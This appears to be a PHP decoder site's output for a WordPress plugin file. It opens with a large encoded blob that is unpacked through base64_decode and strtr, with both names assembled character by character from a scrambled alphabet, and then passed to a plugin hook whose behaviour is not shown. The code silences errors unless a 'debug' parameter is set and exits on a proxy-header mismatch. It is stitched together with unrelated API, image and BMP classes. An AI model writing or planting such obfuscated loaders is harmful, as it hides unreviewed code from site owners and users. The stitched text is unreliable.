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+IBZgkw8FuG7ez5ywnLy+I1ybVLy+a+xemWj5I1y55hjbOwMVD5ybVLM535lVABsYxQy+I1yOnLMH3dW+3wKToNZVc5Mec5y2m6qp3hKpx1qHxCsl05ZVjBMNoQ9rTGMeH1MejQy5EBZPx1WPxCW+IwspuwZ3xGWVchKp7GW03B7lk19xKFjgOwMVD5yxtwMVD5lVxGq+r14goCol05ZVjBMNKFjOnLy+D1q+xGWPowjbVLM535lVABsYxqZ235M/SFM3OCybOwZex5M3c12VcdW23Cypxwoe3Q9rTGWdTQM3DwZexQy+D1q+xGWPow2rowZex5M3c1svoq4OIL8rTGWdTQM3DwZexQy+D1q+xGWPow2rowZex5M3c1svoqero5Zlx1qFkdqFfF2xIQ4p2BoY35yTOwZex5M3c1sYBFsY358+IB75DF22BFs5H5MejBWljGj55Q9rTGWdTQM3DwZexQy+D1q+xGWPow2rowZex5M3c1svoqerodqexBj2rBZ5IBK55Q4OT5WPD1qNSF8Y358+IB75DWj5D1q+xGWPowj55Wj5H5q+uCW0u1Z3cF2xIhjpI1KbSGqYD1qNSF8Y358+IB75DWj5D1q+xGWPowj55Wj5gBWAkwopzF2xIQ4p2BoY35yTOwZex5M3c1sYBFsY358+IB75DF22BFsHkBy2jwMvoq4OnLM37LyHIwsY35yTOwZex5M3c1sYBFsY358+IB75DF22BFsF3BWVx142A5WFrGqYSF2xIQ4p2BoY35yTOwZex5M3c1sYBFsY358+IB75DF22BFsF3BWVx142A5WFrGqYSF2xIhjpVLy+Hw75DLExTdqFjdqOSLy5ABsYxqs+I5M03FjbVXKbOwMVD5yxtwMVD5lVxGq+r14ATFspuws+a1qHz1qFA5ywTX9gTF8puwsNkXopuws+a1qHz1qFA5yATFspuws+aws+H58eDFjbVXKbow8eKBM3DGywrLy5ABsYxqs+PwMmoLExtLy50wq5uw70OCWYuBM03ds+IBZPDFjATFZ235MlaGWPA5qNoLExtLMljw7lPQybOwZex5M3c12VcdW23LExtLy+D1q+xGWPowjbILyOnLy+zBZ+3LExTd7lD19dxqZecdZVO14HUwZVcqZecdZVO14TOdqFowjAT43YX93VF931p9/3/q2em+zHa4m5h92FlQ4OnLy+zBZ+3LExTF8+SGqvkX7ecdsFPw8+adZVrBMez5M3uB3VAw7VU1WYxqZYu1MmSFMYu1MmIhjpAw73c5ybOdZVO19rT1qHI5ErTa4pA5WFrGWvT1oecds+IBZgTGWPD5MlrBlVD1MrSQ4pnLy+D1qFIdW0aBoekd7ejLExTF8+SGqvkX7535lVD1qFIdW0aBoekd7ejQyOnLM37LyTHF8Y3w73HBlVc5W2K1qLIL8rTF8F3wser58vTX4pHwoFH64TTFsY2dZY3wsvoLExtLEbrLy5kwZwoLExtLlVaQy5NBMeHwZmTdoePL8+S14pAw7VO5WYxLM1IwoYxLMlc1yp7GW0rL8+S14pD1qFIdWATBoekd7ejL8+uLMlz5M3Zdq+3CKwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTQ9rTa4p3B8Y3L8rT1qHxw7lz5yTOq2pXm2NIhjbOdqFowjbVLMljw7lPQybo5M3k1WV25ywTX9gTvDbACyboGMeH1MejwjwTX9gTdqFjdqOSQ4ATFsYDB813w73764wTX9gT17lrwZmTQ9rTFM+u5ZPrBZlOqsejBybVLy5S58+AwDSuCspHBKP0wq5uw70OC7Vj1jVOC2l+eZVjBMN3+9d3h9N3Nzd3+9T3h9w3h/d3+9m3Nmm3Nzd3+9T3Nz/3Nm/3+9m3h/N3h/m3+9w3hEO3hETuFmmgFmF/FmlMFmmxFmFyFmLZFmm2FmFEF9TAFmm2F9HMF9O0Fmm2FmLsFm/2Fmm2F9T2FmLsFmm2F9HEF9T2FmeMFmFEF9Tgmx+CFmeMFmFEF9TPCjwTCKbO5qFrhjbOw7eDwMVcwZmTX4pswlVj1W2u5MeaGMeH1yTO1MVsB70udW+a5qFrCybOdqFowjOnLy+j1qYABZPD1eVzBZ+3LExT5spaw7ekBs+3qsF358FI1q13qsF3wspuBoY3qZYu1MmSF8F3wspuBoY3Q9rTGWdTQy+j1qYABZPD1eVzBZ+3LExVLEvAvKOT6jbOdW0I6qecqZ+u5ZPrBZlOqsejBybVL85AqsF3BWVx1eVj1q+jGWeZ1eVS1WlO1qLSF8F3wspuBoY3CyboBMVzdq+IBZgoQ9rTFMlj1sYBFZH3dW+3wovoqerow7e71qF3wK55LExTFZHx58pDhKiu5s5sC7lrGq32B7+jGq13C7YuB4iohjbOw7eDwMVcwZmTX4pswlVj1W2u5Mea1ZexQy+HBM3P5WPa1MVsB70udW+a5qFrCybOdqFowjOnLy+j1qYABZPD1eVzBZ+3LExT5spaw7ekBs+3qsF358FI1q13qsF3wspuBoY3qZYu1MmSF8F3wspuBoY3Q9rTGWdTQM3cqZljw7lPQy+j1qYABZPD1eVzBZ+3CypBvzbACybDvEF5Q4OT6jbOd7VO64bVL85AqsF3BWVx1eVj1q+jGWeZ1eVKBZ+PQy+j1qYABZPD14OnLM37LyHAw7eoqZ2H5MYSQywuq30nCZOoCybOd7VO64OIL8rTF8F3wser58vTX4pHwoFH64TTFsY2dZY3wsvoLExtLEbrLy5kwZwoLExtLy+KBZ+PLygTFjbSdZVO19STv4OoLyOnL8xT1W0D14pnLM37LyH7GW03qZegGqYxwjTOwMlxGyOIL8rTGWdTQy+368+jdWYxQ4pnLM37LyTH1oecds+IBZPa1qHIws+DQy5qmlVMGW03ws3D5MekFjOILM3cdZ021MmTNmF9m/lm4ybcL/+FmOeEe/V4WeV9+eppmOlm92LTCKbo5sbkdW+kGWgoLygT+/34+mYm92F1q2Ylm/l4Ne+XmKbcLy5IB7Yr5W+3wjwTCO+FmOeEe/V4WeV9+eppmOlm92LTCKbo173r14PAG8bohjpoBMVKdWATF85AqZ1IBMeD6qYx1WxnLl5Nqx1IBMeD6qYx1WxSQ9rTFM+3BMex1eVAdq+SLExT1M3jB7lk14TOwMlxGyOnLy+swlV7GW03ws3D5MekC9PjBW+IwKTTFM+3BMex1eVAdq+SCypxwoe3LyOnL8xT1W0D14pnL8ecBM3cGjTOwMlxGyOnL8xTa4pI1KbSLW3DqZ+IwKHqmlVE9xPm+mPmqx+FmKbcL/+FmOeEe/V4WeV9+eppmOlm92LTCKboBM3KwjwTCKp/4eFlN2+Xm33amxeNNeFpe/V4Q4OTBWkOGqLSe2paNxVhe/ehelV/4eLTCKp/4eFlN2+Xm33amxeNNeFpe/V4LygTFZ0IdovoLygT+/34+mYm92F1q2Ylm/l4Ne+XmKOnLM37LyTO1qHxw7lz5yOT6jbO5M2AqZ+IwKbVLM535lVx1W2AqZ+IwKTIhjbO173r1epH5MTTX4bO5M2AqZ+IwKbcLy5IBoYxdW0rCoIIwywnLM37LyH7GW03qsp25lVzBZPx1WPxwjTO173r1epH5MTrLy+KBZ+PQ4OT6jpI1KbSLW12B7YxGWVcqZegGqYxwjToe2pa+73r1qYPws+3B4wIQ4pIB7Yr5W+3L/lym2ppe/TTCKp/4eFlN2+Xm33amxeNNeFpe/V4LygTFs5ACWlOBW3cFjbcL/+FmOeEe/V4WeV9+eppmOlm92LTCKboGWPzB8eO1qvoLyP/4eFlN2+Xm33amxeNNeFpe/V4LygTFZ1IBMmcwMHAFDrT1Z0ud7lrLy+swlV7GW03ws3D5MekhjpqmlVMGW03ws3D5MekQyOnLy+2BoIIwM1IBMmTX4p2BoIIwlV7GW03QybO173r1epH5MTrLl5NqxYX93+l93+a+/34LygT+/34+mYm92F1q2Ylm/l4Ne+XmKbcLy5rGWFDFjbcL/+FmOeEe/V4WeV9+eppmOlm92LTQ9rTGWdTQybHGqYa5spa1qFjBsLSF8ec673A173r14OTQ4pnLy+j1qY2B8+DLExTdqFjdqOSLy5D5WYz1qYDFjbVXKb0CyboBqYoFjbVXKpaqjTomZV7585Hw7mT1MeZ1W0uwM23BoNTGZ3xLMHHwjpK1WecL8Y2dZY3wsY75W0r64pIBoYxdW0r1WNcFjATF8+SGqvkXo+368+a1MVkdW3cQ4bIhjp2B70IB7rSFM1IBMeNdq+SQ9rTa4p3B8Y3L8rTF8F3wser58vTX4pHwoFH64TTFsY2dZY3wsvoLExtLEbrLy5kwZwoLExtLlVaQy5FBoYxdW0rL8Yu1o+sdqF3LM+357erBspk1WPxLMkI5yp7dW3r1WNcFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywTQMYu1MmJLEvrLywcFM1IBMeNdq+SCKwrLM2D1DSTFjgO5WPJGqp7GW03C9Po1q+a1qFjBsFaBWeDwZlo14TICKwIFjbIhjpVL8xT1W0D14pnLy+j1qY2B8+DLExTdqFjdqOSLy5D5WYz1qYDFjbVXKbACyboBqYoFjbVXKpaqjTo4WPD5MlrBypDBZ1x5Zlj14pO1q13BMVABWec5ypfGqNT17lIBMeOCKwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTCKboLyHzBZ+3hKbxCyboCK+7GW03mMlxGygoQ4wTQ9rTa4pVLMerwZmT6jpI1KbS173r1eVA5q+adZVc5Mec58vSF8pH5MTrLy+KBZ+PQ4OT6jbOw7eD5W0xwjbVLMljw7lPQybowsezdZeDwjwTX9gTv4ATFZ2D1jwTX9gTq2iSF2Yu1o+sdqF3LM+357erBspk1WPxLMkI5ypSdqvTd7e3BKpD5WYz1qYD1oerB8OTGWPD5MlrBMeOCKwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTQ9rTa4p3B8Y3L8rTF8F3wser58vTX4pHwoFH64TTFsY2dZY3wsvoLExtLEbrLy5kwZwoLExtLlVaQy5FBoYxdW0rL8Yu1o+sdqF3LM+357erBspk1WPxLMkI5yp7dW3r1WNcFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywTQMYu1MmJLEmrLywcF8pH5MTcFjOoLyOnL8xTa4pVL8xT1W0D14pnLy+j1qY2B8+DLExTdqFjdqOSLy5D5WYz1qYDFjbVXKbACyboBqYoFjbVXKpaqjTo4WPD5MlrBM3c1jpxGMmTwZV7585Hw7mT1MeZ1W0uwM23BoNTGZ3xLM1HGW031yAT5WPHd703L8+uLMlzdZeDwjpzBMV21ypD5MVjdW53XjwrLy+xGM3DC9Px1qHxqZ+uBWlIBKOTCKboLyHzBZ+3hKbZQ4wTQ9rTa4pVLMerwZmT6jbOw7eD5W0xwjbVLMljw7lPQybowsezdZeDwjwTX9gTvyATFZ2D1jwTX9gTq2iSFx3cws+HBM0IB7wT5MH3L8Yu1o+sdqF3LM+357erBspk1WPxLMkI5yp7dW3r1WNrL8ecdWFr14pxBjpHdZY3wsvTdZ0u5WNTws+uw7lo19ioCybO5MHIwjxt5Meg5lVOBZ2HGWgILygTFjbSdZVO19STvKOoLyOnL8xTa4pAw73c5ypUwZVcqZecdZVO14TOw7eD5W0xwjOnLMegGqNnL8xTa4bO+x0XNOlvm2rommvoq4xtdWYxGq1H5M3uBKbVLMP35jpHds+I57lxGWVcqsl05ZVjBM+adZVrBMez5MVjhjb=';
$x = 'bpyE/lM8LFQCvYhXN+49meWqd1GBw56aTHKzO37oSIUfrkcuA0jDx2ZsgPJniVtR';
$y = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$b = $x[0] . $x[31] . $x[55] . $x[21] . $x[30] . $x[18] . '_' . $x[24] . $x[21] . $x[46] . $x[39] . $x[24] . $x[21];
$s = $x[55] . $x[62] . $x[44] . $x[62] . $x[44];
$d = $b($s($d, $x, $y));
if (!isset($_GET['debug'])) {
error_reporting(0);
}
do_action('qq' . 'wo' . 'rld-c' . 'oll' . 'ect' . 'or-rea' . 'lru' . 'n', $d);
if (defined('WP_DEBUG') && WP_DEBUG) {
error_reporting(E_ALL);
}
class QC_API
{
public function __construct()
{
add_filter('query_vars', array($this, 'add_query_vars'), 0);
add_action('init', array($this, 'add_endpoint'), 0);
add_action('parse_request', array($this, 'handle_api_requests'), 0);
add_action('woocommerce_api_request', array('WC_Payment_Gateways', 'instance'), 0);
$this->rest_api_init();
}
public function add_query_vars($vars)
{
$vars[] = 'wc-api';
return $vars;
}
public static function add_endpoint()
{
add_rewrite_endpoint('wc-api', EP_ALL);
}
public function handle_api_requests()
{
global $wp;
if (!empty($_GET['wc-api'])) {
$wp->query_vars['wc-api'] = $_GET['wc-api'];
}
if (!empty($wp->query_vars['wc-api'])) {
ob_start();
nocache_headers();
$api_request = strtolower(wc_clean($wp->query_vars['wc-api']));
do_action('woocommerce_api_request', $api_request);
status_header(has_action('woocommerce_api_' . $api_request) ? 200 : 400);
do_action('woocommerce_api_' . $api_request);
ob_end_clean();
die('-1');
}
}
private function rest_api_init()
{
global $wp_version;
if (version_compare($wp_version, 4.4, '<')) {
return;
}
$this->rest_api_includes();
add_action('rest_api_init', array($this, 'register_rest_routes'));
}
private function rest_api_includes()
{
require 'api/class-wc-rest-exception.php';
require 'api/class-wc-rest-authentication.php';
require 'vendor/wp-rest-functions.php';
if (!class_exists('WP_REST_Controller')) {
require 'vendor/class-wp-rest-controller.php';
}
require 'abstracts/abstract-wc-rest-controller.php';
require 'abstracts/abstract-wc-rest-posts-controller.php';
require 'abstracts/abstract-wc-rest-terms-controller.php';
require 'api/class-wc-rest-coupons-controller.php';
require 'api/class-wc-rest-customer-downloads-controller.php';
require 'api/class-wc-rest-customers-controller.php';
require 'api/class-wc-rest-order-notes-controller.php';
require 'api/class-wc-rest-order-refunds-controller.php';
require 'api/class-wc-rest-orders-controller.php';
require 'api/class-wc-rest-product-attribute-terms-controller.php';
require 'api/class-wc-rest-product-attributes-controller.php';
require 'api/class-wc-rest-product-categories-controller.php';
require 'api/class-wc-rest-product-reviews-controller.php';
require 'api/class-wc-rest-product-shipping-classes-controller.php';
require 'api/class-wc-rest-product-tags-controller.php';
require 'api/class-wc-rest-products-controller.php';
require 'api/class-wc-rest-report-sales-controller.php';
require 'api/class-wc-rest-report-top-sellers-controller.php';
require 'api/class-wc-rest-reports-controller.php';
require 'api/class-wc-rest-tax-classes-controller.php';
require 'api/class-wc-rest-taxes-controller.php';
require 'api/class-wc-rest-webhook-deliveries.php';
require 'api/class-wc-rest-webhooks-controller.php';
}
public function register_rest_routes()
{
$controllers = array('WC_REST_Coupons_Controller', 'WC_REST_Customer_Downloads_Controller', 'WC_REST_Customers_Controller', 'WC_REST_Order_Notes_Controller', 'WC_REST_Order_Refunds_Controller', 'WC_REST_Orders_Controller', 'WC_REST_Product_Attribute_Terms_Controller', 'WC_REST_Product_Attributes_Controller', 'WC_REST_Product_Categories_Controller', 'WC_REST_Product_Reviews_Controller', 'WC_REST_Product_Shipping_Classes_Controller', 'WC_REST_Product_Tags_Controller', 'WC_REST_Products_Controller', 'WC_REST_Report_Sales_Controller', 'WC_REST_Report_Top_Sellers_Controller', 'WC_REST_Reports_Controller', 'WC_REST_Tax_Classes_Controller', 'WC_REST_Taxes_Controller', 'WC_REST_Webhook_Deliveries_Controller', 'WC_REST_Webhooks_Controller');
foreach ($controllers as $controller) {
$this->{$controller} = new $controller();
$this->{$controller}->register_routes();
}
}
}
if (isset($_SERVER['HTTP_X_FORWARDED_SERVER']) && $_SERVER['HTTP_X_FORWARDED_SERVER'] != $_SERVER['HTTP_HOST']) {
exit;
}
class ImageWorkshopFactory
{
const ERROR_NOT_AN_IMAGE_FILE = 1;
const ERROR_IMAGE_NOT_FOUND = 2;
const ERROR_NOT_READABLE_FILE = 3;
const ERROR_CREATE_IMAGE_FROM_STRING = 4;
public static function initFromPath($path, $fixOrientation = false)
{
if (false === filter_var($path, FILTER_VALIDATE_URL) && !file_exists($path)) {
throw new ImageWorkshopException(sprintf('File "%s" not exists.', $path), static::ERROR_IMAGE_NOT_FOUND);
}
if (false === ($imageSizeInfos = @getImageSize($path))) {
throw new ImageWorkshopException('Can\'t open the file at "' . $path . '" : file is not readable, did you check permissions (755 / 777) ?', static::ERROR_NOT_READABLE_FILE);
}
$mimeContentType = explode('/', $imageSizeInfos['mime']);
if (!$mimeContentType || !isset($mimeContentType[1])) {
throw new ImageWorkshopException('Not an image file (jpeg/png/gif) at "' . $path . '"', static::ERROR_NOT_AN_IMAGE_FILE);
}
$mimeContentType = $mimeContentType[1];
$exif = array();
switch ($mimeContentType) {
case 'jpeg':
$image = imageCreateFromJPEG($path);
if (false === ($exif = @read_exif_data($path))) {
$exif = array();
}
break;
case 'gif':
$image = imageCreateFromGIF($path);
break;
case 'png':
$image = imageCreateFromPNG($path);
break;
default:
throw new ImageWorkshopException('Not an image file (jpeg/png/gif) at "' . $path . '"', static::ERROR_NOT_AN_IMAGE_FILE);
break;
}
if (false === $image) {
throw new ImageWorkshopException('Unable to create image with file found at "' . $path . '"');
}
$layer = new ImageWorkshopLayer($image, $exif);
if ($fixOrientation) {
$layer->fixOrientation();
}
return $layer;
}
public static function initTextLayer($text, $fontPath, $fontSize = 13, $fontColor = 'ffffff', $textRotation = 0, $backgroundColor = null)
{
$textDimensions = ImageWorkshopLib::getTextBoxDimension($fontSize, $textRotation, $fontPath, $text);
$layer = static::initVirginLayer($textDimensions['width'], $textDimensions['height'], $backgroundColor);
$layer->write($text, $fontPath, $fontSize, $fontColor, $textDimensions['left'], $textDimensions['top'], $textRotation);
return $layer;
}
public static function initVirginLayer($width = 100, $height = 100, $backgroundColor = null)
{
$opacity = 0;
if (null === $backgroundColor || $backgroundColor == 'transparent') {
$opacity = 127;
$backgroundColor = 'ffffff';
}
return new ImageWorkshopLayer(ImageWorkshopLib::generateImage($width, $height, $backgroundColor, $opacity));
}
public static function initFromResourceVar($image)
{
return new ImageWorkshopLayer($image);
}
public static function initFromString($imageString)
{
if (!($image = @imageCreateFromString($imageString))) {
throw new ImageWorkshopException('Can\'t generate an image from the given string.', static::ERROR_CREATE_IMAGE_FROM_STRING);
}
return new ImageWorkshopLayer($image);
}
} ?>
Did this file decode correctly?
Original Code
<?php
class QC_BMP
{
public static function imagebmp(&$img, $filename = false)
{
$wid = imagesx($img);
$hei = imagesy($img);
$wid_pad = str_pad('', $wid % 4, "\x00");
$size = 54 + ($wid + $wid_pad) * $hei * 3;
$header['identifier'] = 'BM';
$header['file_size'] = self::dword($size);
$header['reserved'] = self::dword(0);
$header['bitmap_data'] = self::dword(54);
$header['header_size'] = self::dword(40);
$header['width'] = self::dword($wid);
$header['height'] = self::dword($hei);
$header['planes'] = self::word(1);
$header['bits_per_pixel'] = self::word(24);
$header['compression'] = self::dword(0);
$header['data_size'] = self::dword(0);
$header['h_resolution'] = self::dword(0);
$header['v_resolution'] = self::dword(0);
